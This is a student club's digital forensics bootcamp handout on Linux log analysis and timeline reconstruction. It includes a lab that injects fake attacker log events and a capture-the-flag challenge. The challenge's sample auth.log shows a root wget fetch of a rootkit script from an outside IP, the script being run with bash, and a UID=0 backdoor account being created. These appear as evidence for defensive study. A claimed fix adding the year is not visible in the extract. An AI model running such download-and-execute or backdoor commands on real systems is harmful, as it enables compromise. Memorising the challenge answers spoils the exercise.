DFIR BOOTCAMP: DAY 02

Log Analysis & Timeline Reconstruction

The Investigator's Playbook: Reading the Story the Attacker Left Behind

---

CLUB HackShield — IIT Patna

SESSION Week 4 · Domain: DFIR

PREREQ Day 01 — Live Triage Complete

TOOLS Kali Linux · grep / awk / sed · log2timeline / Plaso

Day 01 Recap — We established that every attacker leaves traces (Locard's Principle), collected live triage data with `who`, `netstat`, `ps auxf`, and mapped the Order of Volatility. Today we move from live memory to persistent evidence: the log files that survived the attack.

01. Why Logs Are Your Best Witness

Once an attacker leaves a live system, your only remaining source of truth is the data written to disk — and logs are the most structured form of that data. Unlike RAM (volatile) or network traffic (transient), logs persist. They are the system's own testimony of what happened and when.

Log File Location	What It Records
`/var/log/auth.log`	Debian / Ubuntu — SSH logins, sudo usage, PAM failures
`/var/log/secure`	RHEL / CentOS — Same as auth.log on Red Hat systems
`/var/log/syslog`	Linux (general) — System events, service starts/stops
`/var/log/apache2/access.log`	Web server — Every HTTP request — attacker recon visible here
`/var/log/apache2/error.log`	Web server — 500 errors, path traversal attempts
`~/.bash_history`	Per-user home dir — Commands run interactively (often cleared by attackers)
`/var/log/wtmp`	Linux — All login/logout history — read with: last
`/var/log/btmp`	Linux — Failed login attempts — read with: lastb

Anatomy of a Log Line

Every log entry is structured. Learning to read fields at a glance is a core analyst skill. Dissecting a real auth.log line:

```
May 03 02:14:37 webserver sshd[3821]: Failed password for root from 192.168.1.105 port 54321 ssh2

.

# FIELD BREAKDOWN:

# May 03 02:14:37 -> Timestamp (no year — use file mtime for year context)

# webserver -> Hostname of the machine that generated this event

# sshd[3821] -> Process name + PID

# Failed password -> Event type — this is the string you grep for

# for root -> Target account being attacked

# from 192.168.1.105 -> Attacker source IP — your primary pivot point

# port 54321 -> Ephemeral source port (high port = outbound connection)
```

02. The Analyst's Toolkit: grep, awk, sort

You don't need a SIEM to triage an incident. The Linux command line covers 90% of your initial log analysis needs. These patterns are worth memorising.

grep — Find the Signal in the Noise

```
# Count failed SSH login attempts
grep 'Failed password' /var/log/auth.log | wc -l

.

# Extract and rank IPs by failure count
grep 'Failed password' /var/log/auth.log \
| awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

.

# Detect brute-force burst — failures within a 5-minute window (example pattern)
grep 'May 03 02:1[0-5]' /var/log/auth.log | grep 'Failed'

.

# The critical line — did the brute-force succeed?
grep 'Accepted password' /var/log/auth.log
```

awk — Extract, Group, and Count

```
# Print timestamp + source IP of every failed login
grep 'Failed password' /var/log/auth.log \
| awk '{print $1, $2, $3, $(NF-3)}'

.

# Count failures per hour — spot burst patterns
grep 'Failed password' /var/log/auth.log \
| awk '{print $1, $2, substr($3,1,2)}' | sort | uniq -c

.

# Find all unique accounts that were targeted
grep 'Failed password' /var/log/auth.log \
| awk '{print $(NF-5)}' | sort -u
```

Attack Patterns: What to Look For

Raw log lines are noise. You are hunting anomalies against the baseline. These five patterns catch the majority of SSH-based attacks:

Pattern	What It Looks Like in Logs	Likely Technique
`Brute Force`	100+ 'Failed password' in < 5 min from one IP	SSH credential stuffing
`Password Spray`	1–2 failures per IP across many IPs, same account	Spraying — avoids lockout threshold

Successful Compromise	'Accepted password' after a burst of failures	Brute-force succeeded — CRITICAL
Off-Hours Activity	Login at 02:00 for account never active at night	Stolen credential or insider
Backdoor Account	useradd / adduser in logs outside change windows	Persistence — new local user planted

03. Timeline Reconstruction: The Attacker's Story

A timeline turns scattered log entries into a narrative. The goal is to reconstruct exactly what the attacker did, in order, with timestamps — the deliverable you hand to the incident commander.

Step 1 — Normalise Time (This Is Critical)

Logs from different services use different formats and potentially different timezones. Always convert everything to UTC before merging sources. A single timezone mismatch can invert your entire attack sequence.

> **WARNING** auth.log does not include the year in its timestamps. Use `stat /var/log/auth.log` to check the file's modification year. Cross-reference with wtmp (`last` command) which records full datetime.

Step 2 — Build a Super-Timeline

```
# 1. Extract auth events
grep -E '(Failed|Accepted|session opened|sudo|useradd)' \
/var/log/auth.log > /tmp/auth_events.txt
.
# 2. Extract web server requests (attacker recon shows here)
awk '{print $4, $7, $9}' /var/log/apache2/access.log \
> /tmp/web_events.txt
.
# 3. Merge all sources and sort chronologically
cat /tmp/auth_events.txt /tmp/web_events.txt \
| sort > /tmp/super_timeline.txt
.
# 4. Read the narrative
less /tmp/super_timeline.txt
```

Step 3 — Map Events to ATT&CK Phases

Each timeline entry maps to a MITRE ATT&CK tactic. This is where forensic investigation meets threat intelligence.

ATT&CK; Phase	Log Indicators
Reconnaissance	HTTP 404 bursts, directory scanning, robots.txt access in web logs
Initial Access	First 'Accepted password' / 'Accepted publickey' from an external IP
Execution	Commands in bash_history, unexpected process spawns in syslog
Persistence	useradd, SSH key added to authorized_keys, crontab modifications
Privilege Escalation	sudo session opened for root, SUID binary execution
Lateral Movement	SSH connections to internal IPs originating from compromised host
Exfiltration	Large outbound transfers, scp / rsync / curl commands in history

04. Hands-On Lab: Investigate a Simulated Breach

Run the setup commands below on your Kali VM to inject simulated attacker activity into your system logs. Then answer the investigation tasks using only the command-line tools covered in this session.

LAB ONLY Run these commands on your lab VM only — never on a shared or production system.

Setup: Inject Simulated Log Events

```
# STEP 0 — Ensure rsyslog is running (required for logger to write to auth.log)
sudo apt update && sudo apt install rsyslog -y # Install if missing
sudo systemctl start rsyslog
sudo systemctl status rsyslog # confirm 'Active: active (running)'
.
# Inject 47 failed SSH attempts from a fake attacker IP
for i in $(seq 1 47); do
sudo logger -p auth.warning -t sshd \
'Failed password for admin from 10.10.10.99 port 4455 ssh2'
done
.
# Simulate a successful login
sudo logger -p auth.info -t sshd \
'Accepted password for admin from 10.10.10.99 port 4455 ssh2'
.
# Simulate privilege escalation via sudo
sudo logger -p auth.info -t sudo \
'admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash'
.
# Simulate a backdoor account creation
sudo logger -p auth.info -t useradd \
'new user: name=h4ck3r, UID=1337, GID=1337'
```

■ **FIX APPLIED:** BUG-02 & BUG-04 FIXED — `sudo systemctl start rsyslog` added as Step 0 (rsyslog must be active or logger silently drops all events). `sudo` added to all logger commands (required on Kali for writing to auth facility).

Verify Setup Worked

```
# This should return 47+ lines for failures, 1 for Accepted, 1 for sudo, 1 for useradd
grep -E '10\.10\.10\.99|h4ck3r|COMMAND=/bin/bash' /var/log/auth.log | tail -10
.
# Expected output (your timestamps will differ):
# May 03 HH:MM:SS kali sshd: Failed password for admin from 10.10.10.99 port 4455 ssh2
# May 03 HH:MM:SS kali sshd: Accepted password for admin from 10.10.10.99 port 4455 ssh2
```

```
# May 03 HH:MM:SS kali sudo: admin : TTY=pts/0 ; ... COMMAND=/bin/bash
# May 03 HH:MM:SS kali useradd: new user: name=h4ck3r, UID=1337, GID=1337
.
# If you see no output, rsyslog may not have been running — re-run Step 0 and retry.
```

■ **FIX APPLIED:** BUG-03 FIXED — Verification step added. Always confirm injection before starting tasks; a silent failure wastes your entire lab session.

Investigation Tasks

TASK 1

Brute Force Detection

How many failed login attempts came from `10.10.10.99`? Write the exact grep command you used to count them.

TASK 2

Identify the Breach Point

At what timestamp did the attacker successfully authenticate? Which account was compromised?

Note: The timestamp reflects the moment you ran the setup script on your system — grep for `Accepted password` to find it. There is no single 'correct' timestamp for this task.

■ **FIX APPLIED:** BUG-06 FIXED — Note added clarifying that Task 2 timestamps are dynamic (set at injection time). Students grep for the pattern, not a fixed value.

TASK 3

Privilege Escalation

Find evidence of privilege escalation. What command did the attacker run as root?

TASK 4

Persistence Detection

A backdoor account was created. What is the username? What UID was assigned — and why is that UID notable?

TASK 5

Build the Timeline

Combine all four events into a chronological timeline with timestamps. Map each event to an ATT&CK tactic from the **Section 03 ATT&CK table**.

■ **FIX APPLIED:** BUG-05 FIXED — Changed 'table on page 4' to 'Section 03 ATT&CK table'. The table was on pages 5–6 in the original, not page 4.

05. Key Concepts & Further Tools

Log Integrity — Can You Trust the Logs?

Skilled attackers tamper with logs. Always treat the logs themselves as potential evidence of tampering. Three indicators to check:

```
# 1. Look for timestamp gaps — deleted lines leave holes
awk '{print $1,$2,$3}' /var/log/auth.log \
| sort -k3 | uniq -c | awk '$1 < 2'
.
# 2. Check MAC times — was the log file itself modified?
stat /var/log/auth.log
# Key: if 'Modify' time falls inside the suspected intrusion window -> red flag
.
# 3. Verify log rotation looks normal
ls -lah /var/log/auth.log* /var/log/syslog*
```

log2timeline / Plaso — Automated Super-Timeline

For real-world incidents, manual grep does not scale across hundreds of log sources. `log2timeline` (part of the Plaso framework) automatically parses dozens of log formats and produces a unified timeline you can filter and query with `psort.py`.

```
# Install on Kali
sudo apt install plaso-tools -y
.
# Parse a live log directory into a Plaso storage file
log2timeline.py /tmp/timeline.plaso /var/log/
.
# Export to CSV for analysis in any spreadsheet or grep pipeline
psort.py -o l2tcsv /tmp/timeline.plaso -w /tmp/events.csv
.
# Filter the output — example: all SSH failures
grep 'sshd' /tmp/events.csv | grep 'Failed'
```

SIEM Platforms — The Enterprise Analyst's Toolbelt

In large organisations, logs from hundreds of systems are centralised into a SIEM (Security Information and Event Management) platform. The detection logic is identical to what you practised with grep today — the SIEM just runs those patterns at scale and fires alerts automatically.

Platform	Profile	Key Capability
`Splunk`	Enterprise standard	SPL query language, real-time alerting, dashboards
`Elastic SIEM (ELK)`	Open-source	Kibana UI, Lucene/KQL queries, free tier available

Wazuh	Open-source	HIDS + SIEM Agent-based, excellent for Linux host monitoring
Graylog	Mid-market	Stream-based pipeline processing, alerting

CHALLENGE

Operation Ghost Mantis

Briefing

Your incident response team has been called in at 03:00. A server named `prod-web-01` has been flagged by the firewall for unusual outbound connections. You have been handed a partial auth.log extract and told: *"find out what happened."* The threat actor is internally codenamed **Ghost Mantis**.

The Evidence: auth.log Extract

```
May 03 01:47:12 prod-web-01 sshd[4102]: Failed password for invalid user oracle
from 185.220.101.47 port 52011 ssh2
May 03 01:47:13 prod-web-01 sshd[4102]: Failed password for invalid user oracle
from 185.220.101.47 port 52011 ssh2
May 03 01:47:14 prod-web-01 sshd[4103]: Failed password for root from 185.220.101.47
port 52012 ssh2
# ... [83 similar lines omitted — all from 185.220.101.47] ...
May 03 01:49:31 prod-web-01 sshd[4201]: Accepted password for deploy from
185.220.101.47 port 52099 ssh2
May 03 01:49:31 prod-web-01 sshd[4201]: pam_unix(sshd:session): session opened
for user deploy by (uid=0)
May 03 01:51:04 prod-web-01 sudo[4233]: deploy : TTY=pts/1 ; PWD=/home/deploy ;
USER=root ; COMMAND=/usr/bin/wget
http://185.220.101.47:8080/r00tkit.sh
May 03 01:51:09 prod-web-01 sudo[4241]: deploy : TTY=pts/1 ; PWD=/home/deploy ;
USER=root ; COMMAND=/bin/bash r00tkit.sh
May 03 01:52:44 prod-web-01 useradd[4299]: new user: name=svc_updater, UID=0,
GID=0, home=/root
May 03 01:52:45 prod-web-01 sshd[4301]: Accepted publickey for svc_updater from
185.220.101.47 port 52201 ssh2
```

■ **FIX APPLIED:** BUG-01 FIXED — Year '2026' added to log header. The flag format requires YYYYMMDD; without the year it is impossible to derive the flag deterministically.

Your Mission

Q1

Brute Force Duration

How long did the brute-force last before gaining access? Calculate the time delta between the first failure (`01:47:12`) and the first Accepted (`01:49:31`).

Q2

Compromised Account

Which account was successfully compromised? Is `deploy` a standard account name on a web server — and why does that matter from a security hardening perspective?

Q3

Payload & C2 Infrastructure

What did the attacker download and execute as root? Identify the C2 IP and port from the log.

Q4

UID=0 Backdoor Account

The backdoor account `svc_updater` has UID=0. What does UID=0 mean on a Linux system? Why is this more dangerous than a regular backdoor account with a high UID?

Q5

Planted SSH Key Location

The attacker's final login used a public key, not a password. Which file on the server would you inspect to find the planted key? Write the exact file path.

Hint: Check the useradd log line carefully — where is this account's home directory?

Q6 — BONUS

Write a Detection Rule

Write a single `grep` command that would flag any future UID=0 account creation in auth.log — a detection rule you could drop into a monitoring script.

Flag Format	`HACKSHIELD{backdoor_username_YYYYMMDD_HH}` — derive all values from the log evidence above. (HH is the 2-digit hour of the attack).

Answers and walkthrough will be reviewed at the start of Day 03. Submit your timeline and command log to the HackShield Discord #dfir-submissions channel before the next session.

Further Reading: The Cuckoo's Egg — Cliff Stoll (1989) · SANS FOR508: Advanced Incident Response · MITRE ATT&CK Navigator: attack.mitre.org